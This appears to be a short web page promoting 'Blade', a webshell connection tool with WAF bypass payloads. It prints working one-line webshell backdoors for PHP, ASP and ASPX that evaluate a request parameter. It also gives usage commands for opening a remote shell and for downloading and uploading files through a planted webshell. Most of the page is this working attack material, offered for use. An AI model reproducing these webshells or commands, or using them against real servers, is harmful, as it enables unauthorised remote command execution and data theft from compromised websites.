Blade – A Webshell Connection Tool With Customized WAF Bypass Payloads
[adsense size='2']
Features
Cross-plaform supported (Python needed)
Customizable WAF bypass payloads
Compatible with Chooper's server side scripts
Server side scripts examples
PHP: <?php @eval($_REQUEST["cmd"]); ?>
ASP: <%eval request("cmd")%>
ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
Usage
Get a shell:
python blade.py -u https://localhost/shell.php -s php -p cmd --shell
Download a file:
python blade.py -u https://localhost/shell.php -s php -p cmd --pull remote_path local_path
Upload a file:
python blade.py -u https://localhost/shell.php -s php -p cmd --push local_path remote_path
Current issues
Server side scripts supporting is not completed, currently only support PHP and ASP
Database management function is not completed, so can not connect databases
[adsense size='2']
Gloss